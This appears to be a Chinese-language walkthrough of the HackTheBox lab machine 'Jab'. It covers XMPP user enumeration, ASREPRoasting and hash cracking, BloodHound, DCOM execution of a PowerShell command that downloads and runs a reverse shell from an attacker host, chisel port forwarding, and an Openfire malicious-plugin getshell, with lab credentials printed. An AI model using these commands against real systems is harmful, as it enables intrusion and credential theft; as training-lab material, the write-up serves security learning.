XMPP

搜索可以知道XMPP是一种IM协议，可以使用任意客户端连接：

1
2
3
4
brew install pidgin

# 修改hosts
10.10.11.4 DC01.jab.htb jab.htb

随意注册新账号，登录：

然后查看聊天室列表得到一个新域名，同样加hosts：

但我们注册的账号只能看到两个test：

users

查看账户信息，搜索，发现新的域名，同样加入hosts：

然后在用户目录中得到很多用户名(两千多个):

后面用的都是Adium客户端了

ASREPRoast

现在我们只有大量用户名，那首先尝试ASREPRoast：

得到几条hash，可以破解出jmontgomery的密码

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Midnight_121     ($krb5asrep$23$jmontgomery@jab.htb@JAB.HTB)

jmontgomery

然后使用得到的jmontgomery账号密码登录xmpp，发现一个新的聊天室：

pentest2003

加入这个聊天室，其中得到svc_openfire密码：

user flag

现在openfire可以收集bloodhound进行分析：

1
bloodhound-python -ns 10.10.11.4 --dns-tcp -dc dc01.jab.htb -d jab.htb -c All -u svc_openfire -p '!@#$%^&*(1qazxsw' --zip

可以发现svc_openfire在Distributed COM Users组中

那就可以直接dcomexec：

1
python3 ~/Tools/impacket/examples/dcomexec.py -object MMC20 -nooutput jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@dc01.jab.htb "powershell IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.9:7777/rev.ps1')"

打到svc_openfire shell，桌面得到user flag：

提权信息

查看端口可以发现本地的9090，根据用户名和搜索结果也可以知道这是openfire的默认web端口：

1
2
3
netstat -anop tcp
 
 TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3188

那就转发端口出来访问：

1
2
3
4
5
# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse
# target
wget http://10.10.16.9:7777/chisel.exe -o chisel.exe
.\chisel.exe client 10.10.16.9:9999 R:9091:127.0.0.1:9090

是openfire的登录界面，4.7.5：

openfire & root flag

使用svc_openfire账号密码可以登录：

1
2
svc_openfire
!@#$%^&*(1qazxsw

然后就是常规的后台getshell，可以从这里找到编译好的恶意插件：

上传插件然后访问即可，密码123都给出来了：

root flag

然后就随意操作了，例如上个msf：

hashdump
